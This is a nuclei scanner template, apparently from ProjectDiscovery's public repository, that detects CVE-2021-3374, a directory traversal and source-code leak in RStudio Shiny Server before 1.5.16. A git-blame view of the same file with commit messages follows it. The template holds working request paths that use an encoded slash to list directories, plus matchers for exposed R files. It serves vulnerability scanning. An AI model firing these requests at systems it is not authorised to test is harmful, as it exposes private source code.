nuclei-templates/cves/2021/CVE-2021-3374.yaml

id: CVE-2021-3374

info:
  name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
  author: geeknik
  severity: medium
  description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
  reference:
    - https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
    - https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3374
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3374
    cwe-id: CWE-22
  tags: cve,cve2021,rstudio,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%2f/"
      - "{{BaseURL}}/sample-apps/hello/%2f/"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Index of /"
      - type: regex
        part: body
        regex:
          - "[A-Za-z].*\\.R"

# Enhanced by mp on 2022/07/22
Create CVE-2021-3374.yaml 2021-04-14 20:56:03 +00:00			`id: CVE-2021-3374`

			`info:`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`name: Rstudio Shiny Server <1.5.16 - Local File Inclusion`
Create CVE-2021-3374.yaml 2021-04-14 20:56:03 +00:00			`author: geeknik`
			`severity: medium`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak`
			`- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-3374`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 5.3`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-3374`
			`cwe-id: CWE-22`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,rstudio,traversal`
Create CVE-2021-3374.yaml 2021-04-14 20:56:03 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/%2f/"`
			`- "{{BaseURL}}/sample-apps/hello/%2f/"`

			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`
			`- type: word`
			`words:`
			`- "Index of /"`
			`- type: regex`
			`part: body`
			`regex:`
			`- "[A-Za-z].*\\.R"`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00
			`# Enhanced by mp on 2022/07/22`